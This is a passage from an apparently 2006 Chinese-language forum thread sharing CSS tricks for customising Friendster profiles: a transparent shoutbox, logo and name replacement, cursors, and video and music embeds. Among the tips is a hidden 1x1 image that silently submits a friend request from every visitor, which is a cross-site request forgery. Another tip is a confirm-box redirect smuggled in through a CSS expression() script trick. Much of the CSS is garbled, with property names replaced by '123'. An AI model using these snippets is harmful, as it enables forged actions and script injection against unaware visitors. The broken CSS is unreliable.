friendster CSS专区教学 - 已更新，updated =)

将你的shoutbox透明化


#shoutoutBigBox {
padding: 0px;
border: 0px;
123: block;
123:  relative;
margin: 0px 0px -10px 0px;
}
#shoutoutBigBox a {
color: transparent;
}
.shoutoutToprow {
height: 4px;
123:  block;
margin: 0px;
padding: 0px;
123: relative;
z-index:  6000;
}
.so_box_u {
line-height: 0px;
font-size: 0px;
padding: 0px;
margin: 0px 4px 0px 2px;
width: auto;
height:  4px;
background: transparent;
}
.so_box_ul {
123: absolute;
top: 0px;
left: 0px;
background-repeat: repeat-x;
width:  2px;
height: 4px;
}
.so_box_ur {
123: absolute;
right:  0px;
top: 0px;
background-repeat: repeat-x;
width: 4px;
height: 4px;
}
.shoutoutMidrowBlu {
123: block;
margin:  0px;
padding: 6px 5px 1px 10px;
background: transparent;
background-repeat: repeat-x;
background-position: left;
123:  relative;
z-index: 6001;
}
.shoutoutMidrowWhite {
123:  block;
margin: 0px;
padding: 5px 10px;
background:  transparent;
background-repeat: repeat-x;
background-position:  right;
123: relative;
z-index: 6001;
}
.shoutoutBotrowBlu {
height: 18px;
margin: 0px;
123: relative;
z-index:  6000;
}
.shoutoutBotrowWhite {
height: 18px;
margin:  0px;
123: relative;
z-index: 6000;
}
.so_bluebox_ll {
123:  absolute;
bottom: 0px;
left: 0px;
background-repeat:  repeat-x;
width: 78px;
height: 18px;
}
.so_bluebox_lr {
123:  absolute;
right: 0px;
bottom: 0px;
background-repeat:  repeat-x;
width: 4px;
height: 18px;
}
.so_bluebox_l {
width: auto;
height: 18px;
padding: 0px;
margin: 0px 4px 0px  78px;
background: transparent;
background-repeat: repeat-x;
background-position: bottom;
}
.so_whitebox_ll {
123: absolute;
bottom: 0px;
left: 0px;
background-repeat: repeat-x;
width:  78px;
height: 18px;
}
.so_whitebox_lr {
123: absolute;
right: 0px;
bottom: 0px;
background-repeat: repeat-x;
width:  4px;
height: 18px;
}
.so_whitebox_l {
width: auto;
height:  18px;
padding: 0px;
margin: 0px 4px 0px 78px;
background:  transparent;
background-repeat: repeat-x;
background-position:  bottom;
}
#shoutoutBigBox h1 {
font-size: 16px;
color:  #ffffff;
font-weight: bold;
padding: 0px;
margin: 0px 0px 10px  0px;
text-align:center;}
#shoutoutBigBox h2 {
clear: left;
font-size: 16px;
font-weight: normal;
margin: 0px 0px 10px 0px;
padding: 0px;
color: #ffffff;
text-aligh:center;}
#shoutoutBigBox h4  {
clear: left;
color: #ffffff;
font-size: 10px;
margin: 0px  0px 5px 0px;
padding: 0px;
}

#shoutoutBigBox p {
clear:  left;
font-size: 11px;
margin: 0px 0px 5px 0px;
line-height:  12px;
}
#shoutoutInputs {
float: left;
123: relative;
123:  inline;
margin: 0px 0px 5px 0px;
}
/* */
* html #shoutoutInputs  {
margin: 0px;
}
/* */
#shoutoutInputs input {
float:  left;
123: inline;
margin: 0px 5px 0px 0px;
}
.shoutoutCopy  {
font-size: 11px !important;
font-weight: normal !important;
color: #3333ff !important;
margin-right: 5px;
}
.shoutoutCopy a:link,  .shoutoutCopy a:visited {
color:#3333ff !important;
text-decoration:  none !important;
}
.shoutoutCopy a:hover, .shoutoutCopy a:active {
color: #3333ff !important;
text-decoration: underline  !important;
}
.shoutoutMiniBox {
width: 227px;
height:  48px;
123: absolute;
top: 8px;
left: 58px;
z-index:  11000;
}
.shoutoutMiniContent {
padding: 9px 19px 9px  25px;
}
.shoutoutMiniQuote {
background: transparent;
width:  19px;
height: 19px;
123: absolute;
top: 2px;
left: 52px;
z-index: 110001;
}
/***** End Shoutout styles *****/
#shoutoutTip  {
123: absolute;
top: -40px;
right: -265px;
width:  300px;
background: #3333ff;
z-index: 10050  !important;
}
#shoutoutTipContent {
123: relative;
top:  -1px;
left: -1px;
padding: 10px 2px 5px 10px;
background:  transparent;
border: 1px solid transparent;
z-index:  10051;
}
#shoutoutTipClose {
123: absolute;
top:2px;
right:  2px;
}
.shoutoutMiniClose {
123: absolute;
top: 4px;
right:  6px;
}
#shoutoutTipClose img, .shoutoutMiniClose img {
border:  0px;
}


paste这coding去notepad
按ctrl H更改shoutbox背景颜色。。

comfirm alert box:

('hey '+pageViewerFName+', press OK to view my profile or Cancel to go to my favorite site!')
if (!fst)
location='http://www.xxx.com');
width:expr/**/ession(document.all.mycode.style.height='0px')" />

不喜欢你的friendster logo?
现在可以换你喜欢的了。。

#navigation { background-color: transparent;
background-image:url(YOUR BANNER URL);
background-repeat: no-repeat; background-position: top left;}

yawchoong

haha,告诉你们有关cursor的事情，上次我用的cursor是自己的照片，然后在firefox看到，在ie 看不到

special

原帖由 宏之珊 于 29-6-2006 07:35 PM 发表


将所有BG colour换去transparent就可以了。。

refresh你的profile再试下。。

还是一样不能用

mtsumi

Add friend's request
UID放自己的id 号码   EMAILADDRESS ur email address  

<center><img src="http://www.friendster.com/addfriendrequest.php?uid=UID&email=EMAILADDRESS&firstname=&lastname=&friend=&submit=1" width="1" height="1" /></center>

原帖由 louisfjh 于 30-6-2006 12:03 AM 发表


这个不是很明白，可以print screen来看下吗？

看到我换的friendster logo吗？？

原帖由 louisfjh 于 30-6-2006 12:04 AM 发表


有什么website可以弄自己的cursor code，然后在IE里面看到的吗？

/* CURSOR: BODY */
body { cursor:url("http://",default; }

/* CURSOR: LINKS */
a,a:link,a:visited,a:active,a:hover { cursor:url("http://",default; }

不知道这样帮到你没有。。
你问的是这个吗？？

bspoh

放movie是怎样了啊？？？

要写什么code的？？

movie我已经有了。。。已经upload了。。。

原帖由 bspoh 于 30-6-2006 01:04 PM 发表
放movie是怎样了啊？？？

要写什么code的？？

movie我已经有了。。。已经upload了。。。

直接上传去you tube
不会更方便吗？？

Piggy86

原帖由 宏之珊 于 29-6-2006 19:56 发表
不喜欢你的friendster logo?
现在可以换你喜欢的了。。

#navigation { background-color: transparent;
background-image:url(YOUR BANNER URL);
background-repeat: no-repeat; background-position: t ...

要怎樣找到 BANNER URL呢?
多數都是 HTML code...
Banner Url和 HTML code不一樣對嗎?

bspoh

原帖由 宏之珊 于 30-6-2006 03:51 PM 发表


直接上传去you tube
不会更方便吗？？

是啊。。。

我已经copy整个网址了。。。

但是我的friendster里开不到的。。。

只是出现那网址罢了！！

原帖由 bspoh 于 30-6-2006 06:12 PM 发表


是啊。。。

我已经copy整个网址了。。。

但是我的friendster里开不到的。。。

只是出现那网址罢了！！

你copy的coding有可能错了。。。

bspoh

我知道了。。。

谢谢你！！

现在还有一个问题。。。

如果我要弄放歌的。。

怎样弄？？？

不是ｍｔｙ的。。

只是歌罢了。。。

[ 本帖最后由 bspoh 于 1-7-2006 12:11 AM 编辑 ]

bspoh

怎么我放不到两个ｍｏｖｉｅ的？？？

中间要加什么ｃｏｄｅ吗？？？

原帖由 bspoh 于 1-7-2006 12:07 AM 发表
我知道了。。。

谢谢你！！

现在还有一个问题。。。

如果我要弄放歌的。。

怎样弄？？？

不是ｍｔｙ的。。

只是歌罢了。。。

上传去某个网站
比如说ripway

再copy它的code就可以了。。。

原帖由 bspoh 于 1-7-2006 12:22 AM 发表
怎么我放不到两个ｍｏｖｉｅ的？？？

中间要加什么ｃｏｄｅ吗？？？

中间不需要加code的。。

Piggy86

第50摟的我copy和 paste進去CSS,可是不能用哦...

這些code你是去 cbox弄的嗎?

這些code是拿 Cbox的 Code generator's 的step 2 嗎?

原帖由 Piggy86 于 1-7-2006 04:40 PM 发表
第50摟的我copy和 paste進去CSS,可是不能用哦...

這些code你是去 cbox弄的嗎?

這些code是拿 Cbox的 Code generator's 的step 2 嗎?

是给shoutbox的。。

原帖由 louisfjh 于 1-7-2006 07:33 PM 发表


怎样改名字的？好像这个一样。
还有那个frenster logo怎样弄？
我试了但是改不到的，是放image的URL的吗？

friendster logo --> div#navigation{ /*background: transparent;*/ background:transparent url(http://i3.photobucket.com/xxx) no-repeat; filter:none; } div#navigation img{ width: 0px; margin: 0px; }

名字--->

.fullname1 {text-indent :-2200px;}
.left_column_header h1 {border:none;}
.left_column_header h1 a,.left_column_header h1 a:link,
.left_column_header h1 a:active,.left_column_header h1 a:visited
{margin:0 0 0 0; border: none; font-size: 0px !important;
font-weight:normal; color:#FFFFFF !important;}

.left_column_header { padding: 0 0 22px 0;
background: url(http://i3.photobucket.com/albums/xxx) no-repeat bottom left;}


可以不要paste那张图吗？